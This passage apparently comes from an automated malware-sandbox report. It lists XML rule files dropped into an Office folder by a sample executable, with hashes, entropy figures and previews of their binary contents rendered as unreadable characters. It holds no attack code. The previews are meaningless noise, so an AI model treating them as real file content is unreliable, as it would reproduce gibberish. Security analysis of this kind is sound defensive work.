Preview:	<?xml...?.......7.?.L@d..,..2h..}.7.._s....y\|.(...G...q.}...B....r...-.W....Q....XxY.b......m!.+.\|]..G..Gh5..f......G..3..k.Z..u..cA......".)...V7.....0.`M....gX~.5E..qo6.?.hp7.P..DR.%E5....l..]F........L.s..L.=H..1.....]...\|...qz8W.}....w"..AH.B....m... LY.q.1B.."...DI9(.x.j.Ja ...B..1.M.......FOy1...i.s.+.....(..c......Q...LR."....L..,..5OW.K.z.B.1#.....t..2u..hxD.l...cyC..3...H.q\...1...0..+.d..j....~3.mT8........@.u..2..E.....H.T.1..H....tx..:.H.D{..,OT..FTc...4.......z.B.........J.H.t......3@.."V(t.B......e.kr%t=0....CN,..5.yj..G.o......<....Y.*...#...Ic...l...l.?.;Q.s.cr.E.>..N.w..TT../Pu.zXS.1.i..[...y+.K.W.0.6.r.......O?>X.@"z.bX3v`..@.2.i.........aB.....zEb8)u.td^..g........Q{q\J&.x.w.\|.q.+"{.>.....;..wF....#...#D.YC+.....;+_1.f.E5.bk..0X.B.%..#....W%.......`V......b/R.C'.{~.`.`.y(..d.X...n..+a\|......pu.vZ...q..D..s.........'.......>...09q;..%A.....V.J.1...UN...b....BC'............i6<0..(.0Q.5/<....[t.%[.!..z.....9+,..[.}....".U.D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68030v6.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1560
Entropy (8bit):	7.869909370172819
Encrypted:	false
SSDEEP:	48:J2p6VwvSM/rcdUknADHxM1RaCobSijApCIHczwRY93D:tV3+4U6ADRMb+b3cp8sRYN
MD5:	D36D757E52BF183A41CA9FB031D3EFB9
SHA1:	37D19BBFD5D64252429CCB540C36723ED72A57CC
SHA-256:	8F10A5DF0525977A52EFC8284F82F8E280F2E0762898360D76596656B2AFBBE9
SHA-512:	5115FF8C9693B8AC9AC9EA9234375BB7D94DA5268C57022FB5FFDDDC296E2C168016245272EF8AFDB24A80F045F68A5BE14B7B31A6D712B88F27CE859AEE359B
Malicious:	false
Preview:	<?xml..o;.aG.....n.U)y..3.8.6.x.r....,@...=.` ....".x.Q...J23...e<~#R.}d...pO..x.T....O#.eB.....G...kw.=..fs..@e`...\|.I..>..7>j....m...:..5Z.......Z..S>.!~8...&[....x.&.{.u..........t.^.yn......_...cy.p...m..8.U.Od......Q.~..mn...7.B&...&X....\|~...t...T.F.Z.>.m>&.T.....blb.u..GiL.S.%....l..<.B..;0..q@...H.HxkB../k.....p.../ ....wo.9N t..1!J..#......wm....L.k...g ....+.A.....jlPlE.`..{.7...+k....4....^.>_.@..j~....Hv..p.'.....l....2.../G....U....^&...s..Q...q..).Rm..O..B...s...oE..O...]..,.oDF. ....K9a....\|...zU.lK.)......RO~./...=7n..b..7........k....b.....(...8rJ.5F..o<S..M.&..`.W.W......&c.zq....?N.e1.].t.<..0.M.?.P...{...[..5.. ..l.F.fJ....!....h....c.7..z.......vS3$S1.GV...]...N.^....\|.K../.&.......t..K..3.lN..'."........... .=u..1..^.:[,.\M}.B.78._l7..O..k.3.Y...Z.^......`.OR...t@..yZ.0z.MO.SC.$`[...s...}K.....X.A.Q...i..a....s.....5..k.p.zN.d.......=.^_.X..1..=.Yt.6..q..K3....z..w@K.0}/..r..@.8h........F...'.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68031v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.832231315750117
Encrypted:	false
SSDEEP:	24:FKHodTCjv5uRdB3jpkKG9JZCSAac+KA1baGmJCTPF3b+L1VDq5Pr+aRas54ITbD:vdTK4RdB3U9JTlcxAlmc3b+LLq5Pa6a4
MD5:	A8C04A5BA53956F4CDDAA1B6FB0EABB5
SHA1:	04F0426985645DE6ECA370050D87B8B9468A23D4
SHA-256:	2D6E681F4E1A6A524EDAB4E28BA4AA85A8BE51D31D793244CBB75321138C9EFE
SHA-512:	F807CA797E59C7B936A0A9883A5097DCE5FF0F515AEF22C4AB20AA7DD5FB743DC2E3CDE2A6572F49ECF54E72F0FC49294BA33CBEF1D6A27CAFBE96BC8DA5798B
Malicious:	false
Preview:	<?xmlv....S.J..G.^>%.#...)/.S..m)C.N.+)..w.T..#.=... ..m.s6..s...f....1..E....2.............ve$@...;;....`.=......B.QWc.".....N...:S..GY].b.cg.-.f......ke.tr.L..gnb8..{:......2.....0.Y.S.`JVe3...p.T.J..0A....C[..1.^w....b@..$W.]n.2.t.=SC.;..ji.hb/.....s...n.s...d..!1.K..G%.8.-4.J ........~..P.j.e..\|....A.<.9.N..N.......99HQ...:.Z..L.n\...O...Z1E...5.K...Gf/K...Mps..]s.._.....N............5.f...tA9..1.\k...zE.u.....oS.$J....\e.].+.%'..b..'O..E.....v.$7b........l3DV.....0t....g9o....4......%-..q....~.2O.....3g.3.D.....}....JN.O...bu....M`.a...@....f.........!4.....^.@..F.o..F...IV..I.......]....@.'.X.^:.ys.e..3.?.X.........u..G.%k:.;\..Z..;I.'...U-9i.@B.... .)..w-..N....E`...r5.h]i].0C...-...../.p.%2.f~...>/<..Y.".{..e.m.9..i...n.-.Z.6'[m..gW..,SB.H+...h..A&.x9.h/.........W.)[., .)V...8.....9.`z..{......4...~Q..t..hU_......w....U.9....T.A....@U.mg..`w U...b.r...q6.....z.&o.b..QV..J.)....6...G..BI..5..W."X.y.cI.>.%+A..-.-..I.S...I_Q...kRGd.U!:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68038v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.686919294286783
Encrypted:	false
SSDEEP:	12:zwp/r9lvSFB7Ckv14D6P59H0iAz7lYonKkfk5njcmzRGEqObazvNr7I1+cii9a:zc/Bho5FUiA/lSAojHsrHbD
MD5:	0B354F4F2E7274C09194933D4216A8BF
SHA1:	9D9A4BB492936CF65E7F4947830709D03DFBC656
SHA-256:	8511FCAD0499D4ABD2A5A552A31B15D8C638AFD347B1896D40C1768414DD7FDC
SHA-512:	40C3419C117EF5A41F38C0D12E48A86B1E5370C87CE4428C034FF8BE5A104CAF463CA942D456E1C7FC43912AE8FD5A1D5032656D85781EEC7FF9C53BEAB33058
Malicious:	false
Preview:	<?xml.X....(.C....A.5...b.r..O\|.e}...q...<LF2........^.E...c.^.?.~..5]>....Ct=...E./M.+.S....X..^.ljD...h..e.p,..x.hCx..,U.."......"....r...h...g4.{9.Z8".+..C....B..j.t........V..3%.-.D..........qVJ..C.Y.uA0...P.s'.F...<.<O..`.1.......O..c..DgE.G.1{.E.1.....$..E...t...M.u...z.....NI.5>...~......m.2..K.e+...-..J.i..J.5.KV..M..K..'w........?R...;..I.t.....=1\|.4...........9.a..K..x`..\|gE..<...yU{..GA....,......W...{.....s.....oR.2..........:...C.!\.K.kv.;...y.\+...s.PE.Rg....L....k..h....>).m:/A^.I.'..7Mj.......a .<..a.1 QN.e.4._.^..r....~e..OkRG.....X6...........=P\.....g..2....U&..E..C.^W.]u..q...0#...)....*.X..{..Wc.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68039v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1044
Entropy (8bit):	7.815403585406652
Encrypted:	false
SSDEEP:	24:JOkRBZuuQDJlAuMc60cCS1jNc5FmTvIOjaSuNcgvsbD:JOKXuuQdl/H613hG6GvAD
MD5:	D9D9791190F8FF161BBEA2D12EE4ED83
SHA1:	61AE1C93C8698CB0150435CB8DEBD894BD3614FF
SHA-256:	5170A1D9E6347853A32887767225A1C4CCA14E857971DCD9CF22C2182AE58AAB
SHA-512:	706E0AD7E6C171F77F29C52882C4CB127D1D9CD51C2F588EB7677EB98A43D853E3E9CD7A827D6E14DADEA9DB14595AE9F9AF268EC39AE0F2EE1E64305BDA11D6
Malicious:	false
Preview:	<?xml.....u...\r!...3W.._&.S.X.e..!.c}..S.g+.:...b..,.w...dO.e%...P..A.\...&\|..?..3..\Bs.B.t...\.^D.H5..P...3.s#..../....X.\|2t^._.6xN..py.....]........\.(Q..c....t.\|.....:.....0."kP...u.zYk......7.._$h...S.1.p.THZ..~N.....-...d.Z..M_C)4....ph@..{Z.,...........%..B..L. T.....6{.....'m. ....kI.......F....gNg.=........wK...0..\|..J.R...7..E.?.......+3..0.i.ao..o.3i.%.j.J.k............U<..e...s.M....\|.8.?..0.3..h^..Fo....gbA.6LM.y.D.w..;.Z.nWs.._l..(.>..q.Z...EP'.o.>.;....`...........`.N@O'..?..4....YF...~J.4Q......ha...0.L....;.8f..V..7......A.`A...6...i.....5.[B!B....1;<...<&...Q.7...rGFz6{...b......a.....".[.W.X-..{4...6...!'h$.s....l:;..yX.A.@.b.k...y...).?..5...m....oX...{..D(e.R.)S"..].V.r......!.o.4...%z...t..-.O.kd....8..2) ....TI(U......GR.....[.4=..U...m.YfI.....}1I..\|4...'......PZ.+.W..Wk...J~.0n0X.!!..[F....E..X..Z6.....\|.r')N4........n.B..un.k.....xK.....0aP.o..... ;UO].:.M........dak.#.. cS....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIp

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68040v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	7.776100766509522
Encrypted:	false
SSDEEP:	12:UKdjUnCneXSIcw77FxYenCwftRNnCQxTJh93OVlpDFvnAsD6yEtxuIJIXqy1y3/B:bFn5bw77I3w/x9J3GFvRnEHJILy3/JbD
MD5:	D667AAFF80FBB10C204AA61A220F18D7
SHA1:	C2A361EDAF3A06296BABCE034DDCFD85E7165E39
SHA-256:	71DBD647184E28F0E718C2485BDD996B55E1E081C7D72F3205206BC036082E2D
SHA-512:	026C6ED7DA97D967AE0E3D332A88780A65298B5671E19778EAE73419E6560AEF5D6341C8CEF81BA611D176C626CC32C6F48EC898745EABB5E76E63D61C72D768
Malicious:	false
Preview:	<?xml).X.3I....mMr,...."s5....a\|ZqaWqh.'..-..[.61.)...N....}-.y.U..Fg.....XI.....(...R{K.v..ZDX.....W..W./.zO.8FO...0..J=.S...\j..v.?7.!8[.?.....g..Bo.S.e.p........VRd1.....w..$..Z.... .,&...\|.+......<4....3....k...h..Q.]8.H.....t>x..>+.....#vv.m..4...12...f....X,...bX.fp.....H.w...=....z.........:.......\|8....Z@D..."3....N..'...[.$5.d..e....^.!~...jk....oJ..K...7I_L..r...PoV..Za...e..2o..[.Qs.W..!.F^~..F..#$.........ZL&.F.....T.~U"....C...............M.B...7..v...$.W...vNi.1..m}q.l...%q.4W.Vn~=.>...(0. .9.M\|.mq...zM.l5....Y.<?.Kh...b......J..d.. ..l.7:.\|.,B]....3...J.H.~....4..`.\|c..i9...$.n.....?.........DqUI#.UP..b....r..s...K..i.C}(.}.<..]...._-a.P.`.....`.....@z..c.Q...v.1UP...fJ.,....wG...n..B.......Q..T.....E>.w...s.cZ..j.\|.N..6.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule69600v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1376
Entropy (8bit):	7.835256926183056
Encrypted:	false
SSDEEP:	24:KLRMFKC+XeFW3bbwd/Jk/ua45+1+EFlZBdGE5uN7WB2W48ZSwBz2s6tmcdbD:KWFNnFWAdRqAU1bBdGiCSB2WbhuD
MD5:	0DEE71219BE98CC9C88E46C5CBEA56CA
SHA1:	5B8D6E8431ABE90A847A08E1CB5524829B26F990
SHA-256:	AC7B6E6A65E66F90351E6C4660CF39BE4CA5E71328F9144B137446624B2BDDEE
SHA-512:	DDFA845AA529846F1C41C0A0272B09E03583D70830FFC660654B9EA0771F7B4ED791DA57B9573AAAD91BF0169438D776CC2D6337FAE7A5B8EB3E9FB3CF69F9FD
Malicious:	false
Preview:	<?xmlr9..]..}2..l.~.}.f.p3mg.@r8w=...9(.....\|....a.^.Z..eA.Rm.p....7.`5......d..so{...D"m...rIghH}.\|....9.2..........O..o....e.K...8...c....-qG-!d.!.1..s...E..>......d4sq....gh...A...B..............r..t....B.[........^p.Ao.>3e......a..~f....}...2.8}/>.;C./..]..(..4.c=.a".......LN.^....U.%....T.(>...nP'7c....C2..:.$......H!;....`.D.n.51..;....j....y...R..~fW..k5#$...BE..>.p.{.W..Wt&.An.x.....H..c.....{8.X$S.K............O...L.......]..ZK...#....m.04.....q.>..@...~f{.l..aJ...F.v.0.....7>.......q.y.!.2=..;}.J.K.h..<.........L!)O...T...\|`.,..u........0YI.Fj.=..Fr.r.z>..y..,._.}I.;m.].....3...t.c....+X.5o..J...2....}..F.[.>..H...~.$...n,;..Zy... ...%b9..8.wz^Ui.o..u.v._.`.I..m.....\|h.^..qh.g...Z.......Z.....,mW.~..O\.. ;.......a....>...CIHD...qh.q.u....LK...wC5m.wh......R.b.%...F..q1z.C..X........,E...?.;'.`(.U..[/Q.?....>..?.z~/..:.D?.>sR...F.g.c.S.]R.[..... Q.....Ff.........G.F...}.Mz...C.....nD.>%.KS....}_[a....>/F. ..j4&6ro}...Uj.r../.M...!f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700000v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.891687484505303
Encrypted:	false
SSDEEP:	24:GG5nKsn/HvpbvRguPS/2mqTvUIykG/sXdkqF1BkAeNX3g9vOuFRRFPQRFAVq+m6T:PJKsZjRXSOdvUIlzkAmng9vTdvSxsD
MD5:	EBC58EC618B629313DEE73FE4A16ECA4
SHA1:	E730EAE2F56AC9267243A9E15A51587A1E711B60
SHA-256:	8ABBFBF37C2CA0388B1620EDAF68002336BE5DC7043AAF5D1036C0CA6C5C6C9B
SHA-512:	ECA79A0816C9340401F67BE5701B2A44B6F952BBC7E91512EE0B90519E5AD7A4370A8E856A41F14BD5D159289A244504DC014B12C03845A648C93D68B5E33D7E
Malicious:	false
Preview:	<?xml.dVU.U.6.> P6..L....S...y`.F.\e...[...{..tS.<.....BtfI...^x.B[...79F1.....J.W@.T_GC........c..[A.....E.ax.'.;...(.0.........sB.B.g...0u6.....!.~,.Cmdh.....qO.M...9@....L...........@C.2.V..c..".........oG.....3.[.t...h.Y..2n(...E....Z.."1..O..........0X..a.4..#2&JG7b..E$....,..v...Y1.P..N.ZfM..1....:..l.[....?9.....spM.Q.(-......V...+..m.sT.@.O.meB.H!.#zl.].Ca.....c=..VY..3D~.....Q..Z..DVE..{..i.:...G.....S>{s.'....vJ...........?.....x.4s<.3...).].S...S......4.'_[Eh....[...@..........\T.a...pm',kU..q6..j......5._..[.@T82>.[.......u...X'....]............L+.Sb2.~c..d..Y......9..&........m.7.U'dI.a.9....V......J...`V.....\.......m.......3s.f.A...byZ.D.C.....M..R..@:TOAh;......N.,...6..m9.Rn.,..8,&.........`...cp.YL%.`=.J..S\|..fd..+..........cyS..+.f.0.L.>..*nA8......H....]..0L%.T...........n`.em'..3]....nQ...jZ^.N.>...Uc...P;.8.(.gd+.H.....M...J.1.D..,?.Y.Zd.$;........i(.f.C..(.S.p}...S...l.6a.G&.>..-.\|.h......S.u5]X.c\%..a.q5.....&......&p...3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2074
Entropy (8bit):	7.90472866294387
Encrypted:	false
SSDEEP:	48:1peutmVH4acEg7x2/lqYHTfKBulgyLBcrW2XRD:1nmZ4Xt2/bHrKBnEiZ
MD5:	02F83EB07890BE03AB8239E490B307DE
SHA1:	2C92B9A9310B0E301FFEB1CCE86BD406488E155A
SHA-256:	A1A9EFEB90A22F4D600099A50BB4E1AE2A2885DA76860D5C8583FDAD8809B33D
SHA-512:	627360A952360A094722BF13D3D74A2AE085DF21C8B80EA938DDF3775485602E4AD7AB26C8A8A4A37E7CD66E1A48A86DCFF7BA0A2416456B3565E5400E9946DD
Malicious:	false
Preview:	<?xml.$C..[l..IDz..,g.#...#q...dy.rQ.....".q.>..\V)R..O3t.n1.U}w./O.Q...@M6.U.......e....~.....F..E......+?...W.'..k..?.>..=$...G`=....H..~sd....2.AO.5..1....H....P%Of.w.p..q.....;..D;..F.2k......\|FE......?.O..)-..2E.U.l.)..YhGt......`....S].Y3.].;T.A..t ...w@.>A.+qD.D].Tyx.o&h.U .!...(.]M....%.8.&@..,.cB..-].H.J......kw;.`...5....p......7..N...Zn.i.,..\\...g..a.K...lt...6.u.3.K..R.U...P..O].[..{...P......+w.F..\..v.....K..a....b..E+.<.%... U..,..4q...Kp.......u..z..ei....e..W..x@1..O.....:z..v04.....]u..I......y..C5..../...nO.<.L..%....x..1..)b.m.%....4Y..p.m.H.$..M..[.Z..<..{4.G......M..-.......3.$..:....cI.dH.!.vm.z...7.....G./..^..Xu....l>....S.E...!..s.....a'.0^...i7.Fh.N....x@b.Y=.3e!....O:"ge.Z..../...F.wQq.....+.k2\|..>.k..N.....~......69F....#Xv!U.....l.fN.O...U.q,..C..W.@.o...W..J...W...`@<..q....'...Q.aP.K...by.............$0...N5.+.9E..H\0.j.....`\|.....'..'......_.a.MZ.....5.<.[...I....-.h..e.Q..A=.~....z..b.W......j.2.i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70002v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	7.77741984210876
Encrypted:	false
SSDEEP:	24:91PWG8vAuEAxFLBU0C7irWXNJ7XIKAUzpbD:3+RvAoCWrQ/4KhJD
MD5:	7D1E4289FA8E33C4B26FCBAE46655E80
SHA1:	16CE493CF68383B86F499E2B0BB34C4065E99D1B
SHA-256:	35C046CC4F382A42EB8F7046BF5543D4958B4A49CFA085D8085CE07DD607F11E
SHA-512:	8ADB40213B6A658623C068F02B8A87494AF73960E9DB65DB5877B0CC9BC7F5F2DE073BEA42BD2735B99F10BDDEE92220C982EC13592070613A1F9F6AFEC9D6C7
Malicious:	false
Preview:	<?xml...g..=a.ex.....-j\...`...f..B.....\|!+.u..>.....H5..)a]W.a...s.iw.......wQ.....y...kA.kH.....)..M..i.I..\<.^Y)4..AqS:..~.2....D..F..@.i.....l....U.....xqT..K.....1.T./Y.I3...i.t(.<C..qVybd..\|c.(KT....?j......?..3Wk.!m....v..P(@b..)..6%\|.V....Y.....0FDo.8I...,....~..j.w[c.H<Q\|.tp.....5..M....._..[.m.o.....u..r.10C.......6q.....N..{a.Ml .K`.r5.\..[0.^.LN....f.a...[yj...w..7.%).$..b..].[...ZfW/.v^.1..tkz...+(.YN.)9.m........<......;.....J\|hW.J]..oU..o...P.t....K.Cpm~......9t..x..*...Z..K.s../...P..y2.c.ck.;#l.d=N.?.t-u..$.2..i......p`..U.....f..E....A.dS.9....h=...bS.0.............6d....N9.....~2p1.cw...p....t.....jF.>...).v.:.^........k.Y.......,.^E.../..0....6....-.F....}.Y.T..^..N........%[W....`.....T.z..k..1....@B=..6.......v....NK..}<.2...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70003v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.682173646530047
Encrypted:	false
SSDEEP:	12:+eFYtl4Z2CfmdaDV+AkY0ncL452Rlnwj41/1+cii9a:+5BMdkY0ck5ie6MbD
MD5:	BAC969B4072BAD4154D241A1F0BB8BF4
SHA1:	1A613DECD636C2BDE8B6A8936DBD56506D773BEE
SHA-256:	43DFC98045FF5D303EB8588042F3791C268A7F39DA5CD7E1D5DD4C17BFE38F9C
SHA-512:	3661E563A67894D04E312952B42C2CD1BC6C8C2DD83F9F3E4100FDACFB7C3A284F3352FA66822818446D61A0603D5A341C055EC905BE8BDE8D150817AFC5B3F6
Malicious:	false
Preview:	<?xml....n$.v..W....&..g...K.~?.z..~(..P.Oq.)....&.ZJ.)S...S.l.......TQ.&Q.h..E$.G.:B..>0...t.-.%.i....S6...`Ld..m...1+M$..)..........)Fk.#...m.}....:F-...$h,.R.\_...m...0._..ov.PZ<.?m....)..4l.....#.=.U...f-....G[...?HK.}j<.d.P..$..$.....}.....<I.....`..x.&+.<.z...\.+.N.z......$>......%...........M@...T}...].$.@.]JK...)./.A...o.f!....y.._J.b(...H\|yy.(@.N.k.._j.....T~&..%.[.#-..d...(t+.....G...K.eBKQ...eO...+......[N..l.........L...k.K3..K1U..p.,..x-.......M.fLpl.)....W.....pW@q.6.F.5.[E...>.<M.Vi....:.I.5(..p.~......y.....O....}....U.V..@...O...M.r.....{e.}2......98.t.26....Dy$Z.......y...}../xd.`.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700050v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.895408200646313
Encrypted:	false
SSDEEP:	24:KIOFz21qmt9w3PKpUsUToGxBk7m5RDDBgpEDRgixEKnDPVLwR/ULJj3Zu5JABbD:0t2w3ypwgy/xAEBvDPVLfN3ZKJARD
MD5:	E02642FDCB192A8AAD31F6F3E4D9E1E2
SHA1:	7ADDB452BC8C4F49B48173A374341DD836E646AD
SHA-256:	E315FEE9C7ADDB8D69B35CE2778DEB48866CFA780EEFC0563D2302106C5EAFCA
SHA-512:	13FF20715AE4BD70668A3432193AE882F02403BCC99C7BDDDC9B4D953C1679DB9436E2F80657923C7F78922699B0C7A06F3621DB8DE43582A5FEB0F1BE1D9634
Malicious:	false
Preview:	<?xml.p.7.P.l..].....%.~......]..\| .\|.z.............(;..".i.J/0.........._...[.Gs....2.{.##........xvd..F......3VGh...Y.....5..v.:..%./..4......&.~fav.....<...(..A#EN.b.....1.XVG%..z.IM....B.....D..'..i.tkk4..F........Z...x.n. ...@.l.#..P...G............9.lOc..$.#K..aU....h..Xb..SS...n.......>.../....GL)a..2.D......e]...Tk..q.....f...h.9..IA%K\1...z+..I..D...&..;.6..../hg....,...z.M@...L.....Y.^;...P...)......a5.....#..y..P......3+>...)0..h.G?x.M)..A..:....._Q.....f.B;.N..m..$..a/I.v.I..:FRa..C.p-.$..$.(....fq..^.;e..\....(.}.)\|...........O.m,..._.....l.....Az.!.....]...l..D.ljr.IN.....e .=..K-....Y.......^....2...k.x..o#.d.....4.V#q...W,. ....K...Y.,+...\.2`..W%....!...q.H...........Y.2.+.....v..r..XH.J...6.n).ln...z.x..2..zng#9...4..M.l.R.....w......Vw."....c.@...)^..fY&.hu...k..U..X..B.!.3G.?J/z....~.m^..\|q-...."............u..3.[......h..........]!...H. ..l...2.r[...Y.u7L8.....uL.8..._..m......R.r.&a.8d...Q.n.t...JT..<.T.-Oe*.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700051v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.901487612027366
Encrypted:	false
SSDEEP:	24:YQfLhljVvssDSC75QzfqK0MPWS4T+QHeLmoNcKZwpeqi5fXLzz//lLnN08bD:ZljVEqt1PK0+WS4yBPepolXH7/lyWD
MD5:	88817251748670E3FBB01AB2A01680CF
SHA1:	9666A25527F2232027EC5E905D6F91AD693C9A0A
SHA-256:	80C3E2B2D5136F645C3AF366C9DD0F147B218BA809B3AC03A565442C5A89F02A
SHA-512:	72B19EBA8F70D79BD783390E0DF7C06D39E5AB85B2CB134AA94EB3847CEC562B67CED79DC80C05B9503E1B06BD3401127C017EA342F295E7C68776D736D97101
Malicious:	false
Preview:	<?xml.......5A(......h..n..c9.....O<\z..........u.L.....@.t....W$..{....&?..+..#C.P/F..h......#5...(..`\|D!B.P.....w...XQ....spJq.%. U.v<4j-@.%..Z^(E.f..}q.l..u..A...1.h...R'.5.Fl.g.rRK.Vl.0..Zu..W..1@E.. h.[.....]6D.-..L......os..M.....4..\....m.....59.Jze.B..p..=..'.....r..I.8>..[. ..vr.$....T.K.._..33.~...v.=h...2.q....u..N.(l.....g..c#].tK.=...h...xs....(.....o..;X.CHa.....DVD........O.....L..F./..6...../...c>.#0.+H....u..Y.j.m...~glTD..0y7.r..A...g+....9.6n.Z.....%....s..u...Z...=9Y0c...u...&\|...%...K...tK)gO.....W.d..A&.-.V.....x.Y........4....WT........=.,.....W..%..@"...4@..X..!+.+..By.M@pr^.<..RV...B...+.iGO.+A...............?1..<.k/.$h......-..N.0......wKV.3k..X5.g[5..."?...>......h..`8..\.W..8..4.yP......ukWgQ...y%Q`..W..W...a..,0.#!.m.=....9.]s...O....,....k...k#.u......./..=...7. .J.'.D.".N......$...gq,..?...T]=ZL.!.{.W:q........s.+.3.R.IY.....uv/..h.....Ai.fF.:N.+..m.l..b7x.6..S.CE.....7)A...*=~N.8._.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.720180828560592
Encrypted:	false
SSDEEP:	12:rAcX/uHO7Xup6tk5yUHOS0zEG0MPPUkwcnjSozuO3YimoXz1+cii9a:rAFhA2BQvdUmnjDJY4XAbD
MD5:	3DEA08A7DBFFF2159A379B0AB9285F0D
SHA1:	7F676C102596589474EC91D40CBFE4C07B045100
SHA-256:	BD666D9F527127E00820BEE8538DFB54B6B98D450DB3BD443ADA16C4002FFD6E
SHA-512:	DDC305BCCFB457E7573A51C746C6100D6D7985946065FC3CD6AE91EB00DC9C420E7AF3D688ECCD12D78BD8DAD96DE9709E9407590F67397567AEF501B40B3189
Malicious:	false
Preview:	<?xml.=icyN.....).....n......u...W..T..B...m.0.:.L2.;.R.~..4.7w.~/.9..a.RG_RN..!Dl..[...>a\a../4.9.w.A.Q.N..HH...Qg8.Im.$...+2....7 .=.kM.r`{.....Qa.@....,.9.(?<..}7..Z.V.F..C....5..Z;......x"....C..,.?#.'.`,!i.....g9F...).h....n.U9@.....T<..;xf..V.".nh.1..t.X}.w..%..Ua6......\..9.t. MK"&..3...w :...<!u.z./.z>.:.+...Z..o"..4..w.vg;.W....4.!.:+..T..4(B...b.}..A....^...cR..\Q.2.s.d^.~%....IA]..X..\|....u"../.....M... R.......)...fo.....9..T..hZ...$1..,.$.......Do! ;]......c.$.D7.j...>....dV.M...c...U...$_...".u.`..q-2...V.Yo..C...mh..F8.-....R1P.(.,9...CBb.).eOq-...*m..)Nk.3....^\|.72O...L..\:%W}!.U.GQ!X.....e9Q.../...lV%.0e....dJv..0.&wSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.871154664348733
Encrypted:	false
SSDEEP:	48:CgZC9vsBbf0nMSr4NWTC727xlMyWf/Vbq2HD:CgZC9EB70nRr4NWW7ClMFtj
MD5:	DB46B2E27581B2124548DC39C0FE6203
SHA1:	974D053AA8696F1FE6427F4853E28D22CA384D04
SHA-256:	24BDDF088BD5CF9B968D94D4998A744FECD2B560ED28CC85597DC8A61B64CA43
SHA-512:	5442CCFBB3DE5DD1DBBD9D847D0969A2CCCF305DB2E20A5D5B19FCE91554F1AFE9D4BD170E148B62F056A7BCFFADF2417C1295A057F822B00045DDDDC2FCDCB3
Malicious:	false
Preview:	<?xml...K....4.S.U..#.....Be.G..?......e..V.e....n...5.g.........}.&...@....Y...K.'Gz...@....w......l....D.......P\.5..^...$;...K..mk.t.yn.A;\$..J_....3.S..1.?aZ.S-..l....S).#..........X.2M.t...=..m.9/D....l.\|.&.V?."{..M..JP5^./....%...VUR.#.Z#,R.....d[x....^.....6.9.Y\|.c...K..p.N..H..M.-...a.4q..,.g,/d+.""x.......JN.M\l.fyw._}q..........u..M.~..'.w.....Jj?..?..d../..`(<.. ...&.L]...?.../...9..5.D.............o.i?A.u...i....?..S..^..M...C.p.C$..)..........A.g...9[...u.wQ.B.\|?.)...iNf0....K..b.eB r.......i..PB.p...%..m.c...i...^...?..6....3.wymN..e........B.$v..j.d....m..WE....A..dA....R..m1G.[l.Mf#.P.-p.6je7.;Q\|&<1:J3s.G.K'.<K}P{..5.?..B.../t.s`ze.Y2gG8..m 